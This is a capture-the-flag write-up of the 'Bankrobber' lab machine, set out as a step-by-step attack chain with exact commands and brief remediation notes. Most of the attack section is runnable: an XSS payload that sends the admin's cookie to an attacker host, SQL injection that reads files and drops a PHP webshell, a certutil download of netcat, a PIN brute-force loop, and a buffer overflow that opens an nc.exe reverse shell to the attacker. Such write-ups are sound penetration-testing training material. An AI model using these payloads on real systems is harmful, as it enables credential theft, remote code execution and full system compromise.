Bankrobber
Summary
I registered a free account on the target's self-hosted Internet E-Coin Transfer web application and discovered that the application stored the user's actual password in a cookie encoded only in base64 with no HttpOnly flag. A stored XSS payload injected into a transfer comment fired in the reviewing administrator's browser, exfiltrating the admin's cookie and yielding the plaintext credential admin / <withheld>.
Authenticated as admin, I exploited a UNION-based SQL injection in the user-search function, backed by an unrestricted MySQL FILE privilege, to read the source of a hidden, localhost-only command-execution backdoor. A second XSS payload drove a same-origin authenticated request from the admin's own browser to that backdoor and bypassed its command allowlist with a shell pipe, achieving Windows code execution as the web-application account (Cortin).
The same SQL injection file-write primitive then overwrote phpMyAdmin's access-control file and dropped a persistent PHP webshell, capturing the user flag. Finally, a localhost TCP/910 service accepted a four-digit PIN followed by a transfer amount copied into a fixed 32-byte buffer without length validation; after brute-forcing the tiny PIN space to recover PIN <withheld> and overflowing 32 bytes to overwrite the embedded executable path, the SYSTEM-privileged service launched my own code: full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 3
Identify open services and versions.
$ nmap -sV -sC -p 80,443,445,3306 $TARGETRegister my own account.
$ curl -sS -i -c cookies.txt -X POST http://$TARGET/register.php --data-urlencode 'username=pwn0713' --data-urlencode "password=$PASSWORD2" --data 'pounds=Submit'Log in and inspect Set-Cookie response headers: note absent HttpOnly flag and base64-encoded password value.
$ curl -sS -i -c cookies.txt -b cookies.txt -X POST http://$TARGET/login.php --data-urlencode 'username=pwn0713' --data-urlencode "password=$PASSWORD2" --data 'pounds=Submit'Exact commands 3
Start a listener on my machine to catch the exfiltrated cookie beacon. Run in background; replace 8080 if the port is taken.
$ python3 -m http.server 8080Submit the stored XSS payload; replace $ATTACKER_IP with my machine's IP reachable from the server. Wait ~60 s for admin review.
$ curl -sS -b cookies.txt -X POST http://$TARGET/user/transfer.php --data-urlencode 'fromId=4' --data-urlencode 'toId=1' --data-urlencode 'amount=1' --data-urlencode "comment=<script>new Image().src='http://$ATTACKER_IP:8080/?c='+document.cookie</script>"Decode the captured password cookie value to recover the admin plaintext credential.
$ echo '<BASE64_PASSWORD_COOKIE>' | base64 -dFixEncode all user-submitted content before rendering it in HTMLCritical
Exact commands 2
Authenticate as admin using the decoded credentials.
$ curl -sS -i -c admin_cookies.txt -X POST http://$TARGET/login.php --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD" --data 'pounds=Submit'Verify admin panel access is granted.
$ curl -sS -b admin_cookies.txt http://$TARGET/admin/FixSet HttpOnly on session cookies and replace credential-bearing cookies with opaque session tokensCritical
Exact commands 3
Retrieve the backdoor source to learn its localhost check and command allowlist.
$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION SELECT 1,LOAD_FILE('C:/xampp/htdocs/admin/backdoorchecker.php'),1;#"Confirm secure_file_priv is NULL, enabling unrestricted INTO DUMPFILE file writes.
$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION SELECT 1,CONCAT('secure_file_priv=',IFNULL(@@secure_file_priv,'NULL')),1;#"Read the Apache config to confirm phpMyAdmin requires localhost and identify its path on disk.
$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION SELECT 1,LOAD_FILE('C:/xampp/apache/conf/extra/httpd-xampp.conf'),1;#"FixUse parameterized queries to eliminate SQL injection in the admin user-search endpointCritical
Exact commands 2
Second my listener to confirm backdoor execution callback. Run in background.
$ python3 -m http.server 8081Queue an XSS payload that drives the admin's own browser to make an authenticated same-origin request to the backdoor. Replace $ATTACKER_IP. Wait for admin review cycle (~60 s) and confirm the listener hit.
$ curl -sS -b cookies.txt -X POST http://$TARGET/user/transfer.php --data-urlencode 'fromId=4' --data-urlencode 'toId=1' --data-urlencode 'amount=1' --data-urlencode "comment=<script>var r=new XMLHttpRequest();r.open('GET','http://localhost/admin/backdoorchecker.php?cmd=dir|curl+http://$ATTACKER_IP:8081/',false);r.withCredentials=true;r.send();</script>"FixRemove the server-side command-execution backdoor endpointCritical
Exact commands 3
Overwrite .htaccess with 'Require all granted\n' (hex-encoded). Removes the localhost restriction on phpMyAdmin so the webshell is reachable externally.
$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION ALL SELECT 0x5265717569726520616c6c206772616e7465640a,'','' INTO DUMPFILE 'C:/xampp/phpmyadmin/.htaccess';#"Write the PHP webshell (hex of <?php system($_REQUEST['c']);?>) to the now-public phpMyAdmin directory.
$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b2763275d293b3f3e,2,3 INTO DUMPFILE 'C:/xampp/phpmyadmin/cx0713.php';#"Read the user flag through the webshell to confirm code execution.
$ curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=type C:\Users\Cortin\Desktop\user.txt'FixRevoke the MySQL FILE privilege and restrict secure_file_privHigh
Exact commands 4
Stage netcat on the target via the webshell; replace $ATTACKER_IP with my machine IP and serve nc.exe on port 9000.
$ curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/nc.exe C:/Windows/Temp/nc.exe"Brute-force the four-digit PIN from a shell on the compromised host (via webshell reverse shell or nc relay). Expected PIN: <withheld>.
$ for pin in $(seq -w 0 9999); do result=$(printf '%s\n1\n' "$pin" | timeout 2 nc 127.0.0.1 910 2>/dev/null); if ! echo "$result" | grep -qi 'denied\|wrong\|invalid'; then echo "Valid PIN: $pin"; break; fi; doneSend PIN <withheld>, then overflow the 32-byte buffer with a reverse-shell nc.exe invocation to trigger SYSTEM execution. Run from the compromised host.
$ python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1',910)); s.recv(1024); s.send(b'$PASSWORD3\n'); s.recv(1024); s.send(b'A'*32+b'C:/Windows/Temp/nc.exe -e cmd.exe $ATTACKER_IP 9001\n'); s.close()"Catch the SYSTEM-level reverse shell on my machine.
$ nc -lvnp 9001FixFix the buffer overflow and brute-forceable PIN in the TCP/910 transfer serviceCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.